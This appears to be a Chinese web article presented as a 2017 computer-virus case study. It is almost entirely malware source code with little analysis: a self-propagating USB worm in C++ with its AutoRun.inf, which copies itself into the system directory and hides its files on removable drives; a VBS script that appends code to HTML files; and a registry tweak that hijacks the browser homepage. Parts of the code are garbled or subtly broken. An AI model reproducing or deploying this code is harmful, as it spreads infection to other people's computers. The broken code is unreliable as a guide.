2017計(jì)算機(jī)病毒案例分析
計(jì)算機(jī)病毒相信大家都不陌生,說(shuō)不定有些同學(xué)之前還經(jīng)歷過(guò)自己的電腦也中了病毒,下面學(xué)習(xí)啦小編為大家講之前發(fā)生過(guò)的計(jì)算機(jī)病毒案例!
一、U盤(pán)病毒
AutoRun.inf 文件
[AutoRun]
open=proj7_2.exe shell\open=打開(kāi)(&O)
shell\open\Command=proj7_2.exe shell\explore=我的資源管理器(&X)
shell\explore\Command=proj7_2.exe
proj7_2.cpp
案例名稱(chēng):U 盤(pán)惡意代碼
程序名稱(chēng):proj7_2.cpp #include "stdafx.h" bool SaveToFile(char* Path,char* Data)
{ HANDLE hFile; hFile=CreateFile(Path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{/*continue; //出錯(cuò)時(shí)處理*/} DWORD dwWrite; WriteFile(hFile,Data,strlen(Data),&dwWrite,NULL); CloseHandle(hFile); return true; } BOOL InfectU() { while(true) { UINT revtype; char name[256]="H:\" char szName[256]={0}; char toPath[256]={0}; char infPath[256]={0}; char openU[80]={0};
/遍歷所有盤(pán)符
for(BYTE i=0x42;i<0x5B;i=i+0x01)
{ name[0]=i; //得到盤(pán)符類(lèi)型 revtype=GetDriveType(name); //判斷是否是可移動(dòng)存儲(chǔ)設(shè)備
if (revtype==DRIVE_REMOVABLE)
{ //得到自身文件路徑 GetModuleFileName(NULL,szName,256); //比較是否和U 盤(pán)的盤(pán)符相同 //如果相同說(shuō)明在U 盤(pán)上執(zhí)行,復(fù)制到系統(tǒng)中去 if(strncmp(name,szName,1)==0)
{ //得到系統(tǒng)目錄 GetSystemDirectory(toPath,256); strcat(toPath,"\proj7_2.exe"); //把自身文件復(fù)制到系統(tǒng)目錄 if(CopyFile(szName,toPath,TRUE)) { //運(yùn)行程序 WinExec(toPath,0); } strcpy(openU,"explorer "); strcat(openU,name);
//打開(kāi)U 盤(pán) WinExec(openU,1); return 0; }
//如果不是在U 盤(pán)上執(zhí)行,則感染U 盤(pán) else { strcpy(toPath,name); strcat(toPath,"\proj7_2.exe"); strcpy(infPath,name); strcat(infPath,"\AutoRun.inf");
//還原U 盤(pán)上的文件屬性 SetFileAttributes(toPath,FILE_ATTRIBUTE_NORMAL);
SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL); //刪除原有文件 DeleteFile(toPath); DeleteFile(infPath); //寫(xiě)AutoRun.inf 到U 盤(pán) char* Data; Data = "[AutoRun]\r\nopen=proj7_2.exe\r\nshell\open= 打開(kāi) (&O)\r\nshell\explore=我的資源管理器 (&X)\r\nshell\explore\Command=proj7_2.exe"; SaveToFile(infPath,Data); //拷貝自身文件到U 盤(pán) CopyFile(szName,toPath,FALSE); //把這兩個(gè)文件設(shè)置成系統(tǒng),隱藏屬性 SetFileAttributes(toPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); SetFileAttributes(infPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); } } } //休眠60 秒,60 檢測(cè)一次 Sleep(60000); } } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { InfectU(); return 0; }
二、腳本病毒
案例名稱(chēng):腳本病毒
程序名稱(chēng):Misery.vbs '遇到錯(cuò)誤繼續(xù)執(zhí)行 On error resume next '遇到錯(cuò)誤繼續(xù)執(zhí)行 On error resume next '定義變量 Dim fso,curfolder,curfile '定一個(gè)文件操作對(duì)象 Set fso = createobject("scripting.filesystemobject") '得到當(dāng)前目錄 Set curfolder = fso.GetFolder(".") '得到當(dāng)前目錄的文件 set files = curfolder.files '文件的打開(kāi)方式 Const ForReading = 1, ForWriting = 2, ForAppending = 8 '向所有擴(kuò)展名為htm/HTM/html/HTML 的文件中寫(xiě)代碼 for each file in Files if UCase(right(file.name,3)) = "HTM" or UCase(right(file.name,4)) = "HTML" then curfile = curfolder & "\" & file.name Set f = fso.OpenTextFile(curfile, ForAppending, True) f.Write vbcrlf f.Write "" end if next f.Close
三、案例名稱(chēng):瀏覽器惡意代碼
程序名稱(chēng):proj7_1.cpp #include #include main() { HKEY hKey1; DWORD dwDisposition; LONG lRetCode; //創(chuàng)建 lRetCode = RegCreateKeyEx ( HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Internet Explorer\Main", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey1, &dwDisposition); //如果創(chuàng)建失敗,顯示出錯(cuò)信息 if (lRetCode != ERROR_SUCCESS){ printf ("Error in creating key\n"); return (0) } //設(shè)置鍵值 lRetCode = RegSetValueEx ( hKey1, "Default_Page_URL", 0, REG_SZ, (byte*)"http://www.sina.com.cn", 100); //如果創(chuàng)建失敗,顯示出錯(cuò)信息 if (lRetCode != ERROR_SUCCESS) { printf ( "Error in setting value\n"); return (0) } printf("注冊(cè)表編寫(xiě)成功!\n"); return(0); }
2017計(jì)算機(jī)病毒案例分析
上一篇:電腦cpu和主板搭配方法